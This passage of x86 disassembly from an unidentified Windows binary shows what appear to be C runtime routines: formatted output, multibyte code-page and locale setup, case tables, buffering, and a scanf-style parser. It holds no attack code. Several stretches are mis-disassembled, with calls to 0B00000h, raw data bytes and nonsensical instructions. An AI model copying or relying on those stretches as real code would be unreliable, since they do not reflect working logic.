loc_41FB98:				; CODE XREF: sub_41F504+67Bj
					; sub_41F504+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41FBDF
		cmp	[ebp+var_C], 0
		jle	short loc_41FBDF
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_41FBAD:				; CODE XREF: sub_41F504+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_423CBE
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41FBF4
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41FCAB
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41FBAD
		jmp	short loc_41FBF4
; ---------------------------------------------------------------------------


loc_41FBDF:				; CODE XREF: sub_41F504+698j
					; sub_41F504+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41FCAB
		add	esp, 10h


loc_41FBF4:				; CODE XREF: sub_41F504+6BCj
					; sub_41F504+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41FC0C ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FC7A
		add	esp, 10h


loc_41FC0C:				; CODE XREF: sub_41F504+68j
					; sub_41F504+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41F530


loc_41FC1D:				; CODE XREF: sub_41F504+1Fj
					; sub_41F504+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F504	endp

; ---------------------------------------------------------------------------
off_41FC25	dd offset loc_41F6A3	; DATA XREF: sub_41F504+6Er
		dd offset loc_41F579	; jump table for switch	statement
		dd offset loc_41F594
		dd offset loc_41F5E0
		dd offset loc_41F617
		dd offset loc_41F61F
		dd offset loc_41F654
		dd offset loc_41F6E7

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FC45	proc near		; CODE XREF: sub_41F504+1BDp
					; sub_41F504+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41FC5E
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41FC69
; ---------------------------------------------------------------------------


loc_41FC5E:				; CODE XREF: sub_41FC45+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41F3EF
		pop	ecx
		pop	ecx


loc_41FC69:				; CODE XREF: sub_41FC45+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41FC76
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FC76:				; CODE XREF: sub_41FC45+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41FC45	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FC7A	proc near		; CODE XREF: sub_41F504+65Ap
					; sub_41F504+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41FCA8
		mov	esi, [esp+8+arg_C]


loc_41FC8B:				; CODE XREF: sub_41FC7A+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41FC45
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41FCA8
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41FC8B


loc_41FCA8:				; CODE XREF: sub_41FC7A+Bj
					; sub_41FC7A+25j
		pop	edi
		pop	esi
		retn
sub_41FC7A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FCAB	proc near		; CODE XREF: sub_41F504+670p
					; sub_41F504+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41FCDF
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_41FCC1:				; CODE XREF: sub_41FCAB+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41FC45
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41FCDF
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41FCC1


loc_41FCDF:				; CODE XREF: sub_41FCAB+Cj
					; sub_41FCAB+2Bj
		pop	edi


loc_41FCE0:				; CODE XREF: seg000:0041FD5Bj
		pop	esi
		pop	ebx
		retn
sub_41FCAB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FCE3	proc near		; CODE XREF: sub_41F504+E5p
					; sub_41F504+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41FCE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FCF0	proc near		; CODE XREF: sub_41F504+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41FCF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FD00	proc near		; CODE XREF: sub_41F504+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41FD00	endp

; ---------------------------------------------------------------------------


loc_41FD0E:				; CODE XREF: sub_4200D2+Bp
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	sub_41FEA7
		mov	esi, eax
		pop	ecx
		cmp	esi, ds:dword_4E2944
		mov	[ebp+8], esi
		jz	loc_41FE9B
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_41FE91
		xor	edx, edx
		mov	eax, offset dword_442788


loc_41FD42:				; CODE XREF: seg000:0041FD4Fj
		cmp	[eax], esi
		jz	short loc_41FDB8
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_442878
		jl	short loc_41FD42
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	near ptr 0B00000h
		jz	short loc_41FCE0
		clc
		add	[edi], ecx
		test	[ecx+eax], esp
; ---------------------------------------------------------------------------
		db 0
		dd 33406A00h, 60BF59C0h, 83004E2Ah, 8901E87Dh, 4E294435h
		dd 0AAABF300h, 2B641D89h, 860F004Eh, 0EFh, 0EE7D80h, 0BB840Fh
		dd 4D8D0000h, 84118AEFh, 0AE840FD2h, 0F000000h,	0FFF41B6h
		dd 0C23BD2B6h, 93870Fh,	88800000h, 4E2A61h, 0EEEB4004h
; ---------------------------------------------------------------------------


loc_41FDB8:				; CODE XREF: seg000:0041FD44j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4E2A60
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp-4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_442798[esi]


loc_41FDD4:				; CODE XREF: seg000:0041FE11j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41FE07


loc_41FDDB:				; CODE XREF: seg000:0041FE05j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41FE07
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41FE00
		mov	edx, [ebp-4]
		mov	dl, ds:byte_442780[edx]


loc_41FDF5:				; CODE XREF: seg000:0041FDFEj
		or	ds:byte_4E2A61[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41FDF5


loc_41FE00:				; CODE XREF: seg000:0041FDEAj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41FDDB


loc_41FE07:				; CODE XREF: seg000:0041FDD9j
					; seg000:0041FDE0j
		inc	dword ptr [ebp-4]
		add	ebx, 8
		cmp	dword ptr [ebp-4], 4
		jb	short loc_41FDD4
		mov	eax, [ebp+8]
		mov	ds:dword_4E295C, 1
		push	eax
		mov	ds:dword_4E2944, eax
		call	sub_41FEF1
		lea	esi, dword_44278C[esi]
		mov	edi, offset dword_4E2950
		movsd
		movsd
		pop	ecx
		mov	ds:dword_4E2B64, eax
		movsd
		jmp	short loc_41FE96
; ---------------------------------------------------------------------------
		db 2 dup(41h), 80h
		dd 0F00FF79h
		db 85h,	48h, 0FFh
		db 0FFh			; CODE XREF: sub_41FEA7+1Fj
; ---------------------------------------------------------------------------
		jmp	fword ptr [edx+1]
; ---------------------------------------------------------------------------
		pop	eax


loc_41FE50:				; CODE XREF: seg000:0041FE5Dj
		or	ds:byte_4E2A61[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41FE50
		push	esi
		call	sub_41FEF1
		pop	ecx
		mov	ds:dword_4E2B64, eax
		mov	ds:dword_4E295C, 1
		jmp	short loc_41FE7D
; ---------------------------------------------------------------------------
		mov	ds:dword_4E295C, ebx


loc_41FE7D:				; CODE XREF: seg000:0041FE75j
		xor	eax, eax
		mov	edi, offset dword_4E2950
		stosd
		stosd
		stosd
		jmp	short loc_41FE96
; ---------------------------------------------------------------------------
		cmp	ds:dword_4E157C, ebx
		jz	short loc_41FE9F


loc_41FE91:				; CODE XREF: seg000:0041FD35j
		call	sub_41FF24


loc_41FE96:				; CODE XREF: seg000:0041FE3Fj
					; seg000:0041FE87j
		call	loc_41FF4D


loc_41FE9B:				; CODE XREF: seg000:0041FD2Bj
		xor	eax, eax
		jmp	short loc_41FEA2
; ---------------------------------------------------------------------------


loc_41FE9F:				; CODE XREF: seg000:0041FE8Fj
		or	eax, 0FFFFFFFFh


loc_41FEA2:				; CODE XREF: seg000:0041FE9Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41FEA7	proc near		; CODE XREF: seg000:0041FD1Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	ds:dword_4E157C, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short near ptr loc_41FEC6+1
		mov	ds:dword_4E157C, 1
		call	near ptr 0B00000h


loc_41FEC6:				; CODE XREF: sub_41FEA7+Ej
		loop	near ptr byte_41FE4B
		clc
		std
		jnz	short loc_41FEDC
		mov	ds:dword_4E157C, 1
		call	near ptr 0B00000h
		cli


loc_41FEDC:				; CODE XREF: sub_41FEA7+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_41FEF0
		mov	eax, ds:dword_4E15C0
		mov	ds:dword_4E157C, 1

locret_41FEF0:				; CODE XREF: sub_41FEA7+38j
		retn
sub_41FEA7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FEF1	proc near		; CODE XREF: seg000:0041FE26p
					; seg000:0041FE60p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_41FF1E
		sub	eax, 4
		jz	short loc_41FF18
		sub	eax, 0Dh
		jz	short loc_41FF12
		dec	eax
		jz	short loc_41FF0C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41FF0C:				; CODE XREF: sub_41FEF1+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_41FF12:				; CODE XREF: sub_41FEF1+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_41FF18:				; CODE XREF: sub_41FEF1+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_41FF1E:				; CODE XREF: sub_41FEF1+9j
		mov	eax, 411h
		retn
sub_41FEF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FF24	proc near		; CODE XREF: seg000:loc_41FE91p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4E2A60
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4E2950
		mov	ds:dword_4E2944, eax
		mov	ds:dword_4E295C, eax
		mov	ds:dword_4E2B64, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41FF24	endp

; ---------------------------------------------------------------------------


loc_41FF4D:				; CODE XREF: seg000:loc_41FE96p
		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		push	ds:dword_4E2944
		call	near ptr 0B00000h
		add	[ebx-7AF0FE08h], al
		push	ss
		add	[eax], eax
		add	[ebx], dh
		sar	byte ptr [esi+100h], 88h ; CODE	XREF: seg000:0041FF81j
		test	ds:0FFFFFEECh, al
		inc	eax
		cmp	eax, esi
		jb	short near ptr loc_41FF71+6
		mov	al, [ebp-0Eh]
		mov	byte ptr [ebp-114h], 20h
		test	al, al
		jz	short loc_41FFC8
		push	ebx
		push	edi
		lea	edx, [ebp-0Dh]


loc_41FF96:				; CODE XREF: seg000:0041FFC4j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_41FFBD
		sub	ecx, eax
		lea	edi, [ebp+eax-114h]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_41FFBD:				; CODE XREF: seg000:0041FF9Ej
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_41FF96
		pop	edi
		pop	ebx


loc_41FFC8:				; CODE XREF: seg000:0041FF8Fj
		push	0
		lea	eax, [ebp-514h]
		push	ds:dword_4E2B64
		push	ds:dword_4E2944
		push	eax
		lea	eax, [ebp-114h]
		push	esi
		push	eax
		push	1
		call	loc_423B4F
		push	0
		lea	eax, [ebp-214h]
		push	ds:dword_4E2944
		push	esi
		push	eax
		lea	eax, [ebp-114h]
		push	esi
		push	eax
		push	esi
		push	ds:dword_4E2B64
		call	loc_4229BB
		push	0
		lea	eax, [ebp-314h]
		push	ds:dword_4E2944
		push	esi
		push	eax
		lea	eax, [ebp-114h]
		push	esi
		push	eax
		push	200h
		push	ds:dword_4E2B64
		call	loc_4229BB
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp-514h]


loc_420043:				; CODE XREF: seg000:00420082j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_420061
		or	ds:byte_4E2A61[eax], 10h
		mov	dl, [ebp+eax-214h]


loc_420059:				; CODE XREF: seg000:00420074j
		mov	ds:byte_4E2960[eax], dl
		jmp	short loc_42007D
; ---------------------------------------------------------------------------


loc_420061:				; CODE XREF: seg000:00420049j
		test	dl, 2
		jz	short loc_420076
		or	ds:byte_4E2A61[eax], 20h
		mov	dl, [ebp+eax-314h]
		jmp	short loc_420059
; ---------------------------------------------------------------------------


loc_420076:				; CODE XREF: seg000:00420064j
		and	ds:byte_4E2960[eax], 0


loc_42007D:				; CODE XREF: seg000:0042005Fj
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_420043
		jmp	short loc_4200CF
; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	esi, 100h


loc_42008D:				; CODE XREF: seg000:004200CDj
		cmp	eax, 41h
		jb	short loc_4200AB
		cmp	eax, 5Ah
		ja	short loc_4200AB
		or	ds:byte_4E2A61[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_4200A3:				; CODE XREF: seg000:004200C1j
		mov	ds:byte_4E2960[eax], cl
		jmp	short loc_4200CA
; ---------------------------------------------------------------------------


loc_4200AB:				; CODE XREF: seg000:00420090j
					; seg000:00420095j
		cmp	eax, 61h
		jb	short loc_4200C3
		cmp	eax, 7Ah
		ja	short loc_4200C3
		or	ds:byte_4E2A61[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_4200A3
; ---------------------------------------------------------------------------


loc_4200C3:				; CODE XREF: seg000:004200AEj
					; seg000:004200B3j
		and	ds:byte_4E2960[eax], 0


loc_4200CA:				; CODE XREF: seg000:004200A9j
		inc	eax
		cmp	eax, esi
		jb	short loc_42008D


loc_4200CF:				; CODE XREF: seg000:00420084j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4200D2	proc near		; CODE XREF: seg000:00422D97p
					; sub_422DE6+Dp ...
		cmp	ds:dword_4E2B8C, 0
		jnz	short locret_4200ED
		push	0FFFFFFFDh
		call	loc_41FD0E
		pop	ecx
		mov	ds:dword_4E2B8C, 1

locret_4200ED:				; CODE XREF: sub_4200D2+7j
		retn
sub_4200D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4200EE	proc near		; CODE XREF: sub_41C081+2Bp
					; sub_41C081+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_4E295C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_420112
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41BCA0
		add	esp, 0Ch
		jmp	short loc_420175
; ---------------------------------------------------------------------------


loc_420112:				; CODE XREF: sub_4200EE+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_420157
		mov	ecx, [ebp+arg_4]


loc_42011D:				; CODE XREF: sub_4200EE+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	ds:byte_4E2A61[esi], 4
		mov	[edi], al
		jz	short loc_420141
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_42014D
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420153
		jmp	short loc_420147
; ---------------------------------------------------------------------------


loc_420141:				; CODE XREF: sub_4200EE+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420157


loc_420147:				; CODE XREF: sub_4200EE+51j
		test	edx, edx
		jnz	short loc_42011D
		jmp	short loc_420157
; ---------------------------------------------------------------------------


loc_42014D:				; CODE XREF: sub_4200EE+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_420157
; ---------------------------------------------------------------------------


loc_420153:				; CODE XREF: sub_4200EE+4Fj
		and	byte ptr [edi-2], 0


loc_420157:				; CODE XREF: sub_4200EE+2Aj
					; sub_4200EE+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_420172
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_420172:				; CODE XREF: sub_4200EE+6Fj
		mov	eax, [ebp+arg_0]


loc_420175:				; CODE XREF: sub_4200EE+22j
		pop	edi
		pop	ebp
		retn
sub_4200EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420178	proc near		; CODE XREF: sub_41C256+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_4E15B0, 0
		push	ebx
		jnz	short loc_4201A3
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_420241
		cmp	eax, 7Ah
		jg	loc_420241
		sub	eax, 20h
		jmp	loc_420241
; ---------------------------------------------------------------------------


loc_4201A3:				; CODE XREF: sub_420178+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_4201D6
		cmp	ds:dword_44276C, 1
		jle	short loc_4201C3
		push	2
		push	ebx
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_4201CE
; ---------------------------------------------------------------------------


loc_4201C3:				; CODE XREF: sub_420178+3Dj
		mov	eax, ds:off_442560
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_4201CE:				; CODE XREF: sub_420178+49j
		test	eax, eax
		jnz	short loc_4201D6


loc_4201D2:				; CODE XREF: sub_420178+AFj
		mov	eax, ebx
		jmp	short loc_420241
; ---------------------------------------------------------------------------


loc_4201D6:				; CODE XREF: sub_420178+34j
					; sub_420178+58j
		mov	edx, ds:off_442560
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_4201F9
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_420202
; ---------------------------------------------------------------------------


loc_4201F9:				; CODE XREF: sub_420178+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_420202:				; CODE XREF: sub_420178+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	ds:dword_4E15B0
		call	loc_4229BB
		add	esp, 20h
		test	eax, eax
		jz	short loc_4201D2
		cmp	eax, 1
		jnz	short loc_420234
		movzx	eax, [ebp+var_4]
		jmp	short loc_420241
; ---------------------------------------------------------------------------


loc_420234:				; CODE XREF: sub_420178+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_420241:				; CODE XREF: sub_420178+14j
					; sub_420178+1Dj ...
		pop	ebx
		leave
		retn
sub_420178	endp


; =============== S U B	R O U T	I N E =======================================



sub_420244	proc near		; CODE XREF: sub_41C475+1Dp
					; sub_41DA8E+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	ds:dword_4E14FC, ecx
		mov	eax, offset dword_442878


loc_420255:				; CODE XREF: sub_420244+1Ej
		cmp	ecx, [eax]
		jz	short loc_420279
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_4429E0
		jl	short loc_420255
		cmp	ecx, 13h
		jb	short loc_420286
		cmp	ecx, 24h
		ja	short loc_420286
		mov	ds:dword_4E14F8, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_420279:				; CODE XREF: sub_420244+13j
		mov	eax, ds:dword_44287C[edx*8]
		mov	ds:dword_4E14F8, eax
		retn
; ---------------------------------------------------------------------------


loc_420286:				; CODE XREF: sub_420244+23j
					; sub_420244+28j
		cmp	ecx, 0BCh
		jb	short loc_4202A0
		cmp	ecx, 0CAh
		mov	ds:dword_4E14F8, 8
		jbe	short locret_4202AA


loc_4202A0:				; CODE XREF: sub_420244+48j
		mov	ds:dword_4E14F8, 16h

locret_4202AA:				; CODE XREF: sub_420244+5Aj
		retn
sub_420244	endp


; =============== S U B	R O U T	I N E =======================================



sub_4202AB	proc near		; CODE XREF: sub_41C49F+8p
					; sub_41D88C+9p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_423C98
		test	eax, eax
		pop	ecx
		jz	short loc_420334
		cmp	esi, offset dword_442B58
		jnz	short loc_4202C9
		xor	eax, eax
		jmp	short loc_4202D4
; ---------------------------------------------------------------------------


loc_4202C9:				; CODE XREF: sub_4202AB+18j
		cmp	esi, offset dword_442B78
		jnz	short loc_420334
		push	1
		pop	eax


loc_4202D4:				; CODE XREF: sub_4202AB+1Cj
		inc	ds:dword_4E15C8
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_420334
		cmp	ds:dword_4E1580[eax*4],	0
		push	ebx
		push	edi
		lea	edi, ds:4E1580h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_42031A
		push	ebx
		call	sub_41BBCB
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_42031A
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_420327
; ---------------------------------------------------------------------------


loc_42031A:				; CODE XREF: sub_4202AB+4Dj
					; sub_4202AB+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_420327:				; CODE XREF: sub_4202AB+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420334:				; CODE XREF: sub_4202AB+10j
					; sub_4202AB+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_4202AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_420338	proc near		; CODE XREF: sub_41C49F+24p
					; sub_41D88C+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_420362
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_420373
		push	esi
		call	sub_41E25B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420362:				; CODE XREF: sub_420338+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_420373
		push	eax
		call	sub_41E25B
		pop	ecx


loc_420373:				; CODE XREF: sub_420338+10j
					; sub_420338+32j
		pop	esi
		retn
sub_420338	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420375	proc near		; CODE XREF: sub_41CCE5+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_420D7B
		mov	edi, [ebp+arg_0]
		jmp	short loc_4203A4
; ---------------------------------------------------------------------------


loc_42039F:				; CODE XREF: sub_420375+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_4203A4:				; CODE XREF: sub_420375+28j
		cmp	ds:dword_44276C, 1
		jle	short loc_4203BC
		movzx	eax, al
		push	8
		push	eax
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_4203CB
; ---------------------------------------------------------------------------


loc_4203BC:				; CODE XREF: sub_420375+36j
		mov	ecx, ds:off_442560
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_4203CB:				; CODE XREF: sub_420375+45j
		cmp	eax, ebx
		jz	short loc_420405
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_420E02
		pop	ecx
		pop	ecx
		push	eax
		call	sub_420DEB
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DD40
		add	esp, 0Ch


loc_4203F3:				; CODE XREF: sub_420375+8Ej
		test	eax, eax
		jz	short loc_420405
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DD40
		pop	ecx
		jmp	short loc_4203F3
; ---------------------------------------------------------------------------


loc_420405:				; CODE XREF: sub_420375+58j
					; sub_420375+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_420CE7
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_42043C:				; CODE XREF: sub_420375+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	ds:dword_44276C, 1
		jle	short loc_420459
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_420468
; ---------------------------------------------------------------------------


loc_420459:				; CODE XREF: sub_420375+D3j
		mov	ecx, ds:off_442560
		movzx	eax, bl
		mov	al, [ecx+eax*2]
